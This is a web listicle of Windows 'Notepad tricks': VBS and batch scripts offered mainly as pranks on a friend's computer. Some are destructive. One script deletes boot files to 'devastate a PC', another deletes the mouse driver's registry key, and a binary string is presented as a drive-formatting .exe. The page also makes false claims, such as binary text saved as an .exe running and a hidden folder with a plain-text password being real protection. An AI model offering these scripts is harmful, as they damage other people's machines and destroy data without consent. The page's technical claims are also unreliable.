For all of these just open Notepad and type in the code.
Use at your own risk!
1. Continually Pop Out CD Drive Using Notepad
Don’t you think it would be fun if you could play with your friend by making his cd-drive pop again and again? Just enter the text below into notepad and save it as a .vbs file. Double click on the .vbs file to see it work.
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
2. Shutting Down Computer Using Notepad
Just imagine, if instead of pressing on start button and then on the shutdown button and then on the ok option, you could just double click on an icon to shut your system down. The Notepad trick code written below does just that. Just save the file as a .vbs file, and press it when you need to shut down the system.
@echo off
msg * System will now shut down
shutdown -c “Bye!” –s
3. Open Notepad Continually in Your Friend’s Computer
Just another Notepad trick to play with your friend’s system would be to set off a command which would open his/her notepad repetitively. Save as .batch file.
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
4. Matrix Effect
Now we’ll discuss a Notepad trick that can turn our command prompt into something that looks like it just came out of the matrix movie, or maybe something that looks like something straight out of a hacker’s system. For doing this, all you need to do is paste the following code in notepad:
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
now you’ll need to save this file with an extension .bat
5. Toggle Capslock Repeatedly Using Notepad
You can play with someone’s computer, or maybe your own computer by writing a script that can toggle Caps Lock repeatedly.
Just copy and Paste the code written down below into notepad, and save as a .vbs file
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
6. Typing Slow
This is a trick which will cause the text to be typed slowly, to try it out, just copy and paste the text below into notepad and save it as a .vbs file.
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
It does nothing but introduces a small delay between different strings it types.
7. Deleting Startup Files Using Notepad
A way to devastate a PC would be to remove the files that help it to start up. Though not advisable, this is the code that has the power to do it.
@ECHO OFF
ATTRIB -R -S -H C:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -H C:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -H C:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -H C:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI
SAVE IT AS .BAT FILE.
This will shut the computer down and delete files required to get your computer into a normal state.
Don’t try doing this on your computer unless and until you wish to loose all your data.
8. Hit Backspace Continuously
Ok, we need the backspace button, but what is we wish to annoy someone and make it press itself again and again, mechanically it would require some work on our part, but if we just use this code, it would become a lot more easier.
MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Save as a .vbs file to make it work.
9. Typing Something Again and Again
A code to type something again and again is mentioned below, you can use it to write anything again and again and again, until you get it out of the loop.
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “I'll be typed again and again”
loop
save it as a .vbs file to make it work.
10. Turn Your Keyboard Into an EDM Festival
Ever wish your keyboard was more 1) annoying and 2) festive? Well, thanks to this trick you can make that happen. Save as .vbs file.
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
What is happening is the computer is rapidly toggling the CAPS lock, NUMBER lock, and SCROLL lock on and off (which usually lights an LED on most keyboards). This is very annoying if you want to actually use your keyboard for typing. If you want to turn it off, you have to 1) restart the computer or 2) in Windows 10, go to Task Manager and end "Microsoft Windows Based Script Host."
11. Create password protected folder using notepad
Yes you can password protect any folder using simple Notepad trick to secure your important data form others. Type the following code. Instead of “Zillowtech” written in the code, type in the password of your wish. Save the file as private.bat and choose File type as All Files (*.*). Double click on the file private.bat. A Private folder will be created Named “Zillowtech” in which you can move the files and folders that you want to protect. Now, a password will be required to open this folder.
@ECHO OFF
title Folder Private
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p “pass=>”
if NOT %pass%==Zillowtech goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
12. Format hard drive
Dangerous, use with caution!
This code will delete all your hard drive data. Just copy the below code and paste in notepad and save it as “anyname.exe”. And Run the .exe to fomat the same drive, Where you have saved the .exe file.
01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000
13. Disable Mouse Controls
Well, you should never try this on your computer, because this method disables the mouse controls on your computer.
rem Disable Mouse
set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Paste the above code in notepad and save it as disablemouse.bat in your computer.